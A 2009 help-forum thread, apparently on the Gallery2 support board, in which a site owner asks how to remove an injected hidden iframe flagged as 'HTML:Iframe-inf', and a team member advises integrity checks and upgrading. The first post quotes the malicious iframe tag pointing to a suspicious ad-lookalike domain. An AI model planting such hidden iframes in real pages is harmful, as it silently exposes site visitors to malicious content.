"HTML:Iframe-inf" in my gallery pages.. Plz help

venkatmx

Joined: 2009-04-14
Posts: 3
Posted: Tue, 2009-04-14 13:50

hi

Plz check the url http://www.nonstopcinema.com/gallery/

its giving an virus/worm alert of "HTML:Iframe-inf"

the code "<iframe src="http://goooogleadsence.biz/?click=F7271E" width=1 height=1 style="visibility:hidden;position:absolute"></iframe>" is embedding in every page/link of gallery.

how to remove that code? i mean in which page its located/re-generating?

Some other websites also hosted in same account, but they are in wordpress, i removed they are also infected with same worm, but removed from their themes pages and all other index pages.. then its removed, but gere in gallery i dont know which file i have to edit and remove that that...

is there anyone here about this and have any solutions?
 
floridave
floridave's picture

Joined: 2003-12-22
Posts: 27300
Posted: Tue, 2009-04-14 14:25

FAQ: How can I make sure that my installation files are all intact?

The url provided gets redirected.

Dave
_____________________________________________
Blog & G2 || floridave - Gallery Team
 
venkatmx

Joined: 2009-04-14
Posts: 3
Posted: Wed, 2009-04-15 06:17

Hi

You can try with this URL " http://www.nonstopcinema.com/gallery/main.php ", its opening now...
 
floridave
floridave's picture

Joined: 2003-12-22
Posts: 27300
Posted: Wed, 2009-04-15 13:42

What was the results of the seeing what files are intact or not?

Dave
_____________________________________________
Blog & G2 || floridave - Gallery Team
 
floridave
floridave's picture

Joined: 2003-12-22
Posts: 27300
Posted: Wed, 2009-04-15 13:50

Version info etc:
FAQ: What information is required when I ask for help in the forums?

Seems you are not alone: http://forum.joomla.org/viewtopic.php?p=1643665&sid=efbb1e82934dce3cd2453a4b49372369#p1643665
and some other with some code to search as well:
http://www.diovo.com/2009/03/hidden-iframe-injection-attacks/

Dave
_____________________________________________
Blog & G2 || floridave - Gallery Team
 
venkatmx

Joined: 2009-04-14
Posts: 3
Posted: Wed, 2009-04-15 19:45

Version info etc:

Gallery version = 2.1.2 core 1.1.0.2
PHP version = 4.4.9 cgi-fcgi
Webserver = Apache
Database = mysql 4.1.20-max-log, lock.system=database
Toolkits = ArchiveUpload, Exif, Getid3, NetPBM, Thumbnail, Gd
Acceleration = none, none
Operating system = Linux web145.opentransfer.com 2.6.28.7 #16 SMP Thu Mar 5 06:17:30 CST 2009 i686
Default theme = matrix
Locale = en_US
Browser = Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8

hi, the above links are for wordpress sites only, they can't solve my problem...
 
floridave
floridave's picture

Joined: 2003-12-22
Posts: 27300
Posted: Wed, 2009-04-15 21:55
Quote:
Gallery version = 2.1.2 core 1.1.0.2

Talk about old! 3 years now? Please upgrade due to many bug and security issues.
FAQ: How to upgrade Gallery2?

floridave wrote:
What was the results of the seeing what files are intact or not?

For the 3rd time: What was the results of the:
FAQ: How can I make sure that my installation files are all intact? ?

Quote:
hi, the above links are for wordpress sites only, they can't solve my problem...

I would follow the steps that they took to fix the WP site(s). Seems to affect Joomla! and other users as well. So using the steps they took should yield results.

Dave

_____________________________________________
Blog & G2 || floridave - Gallery Team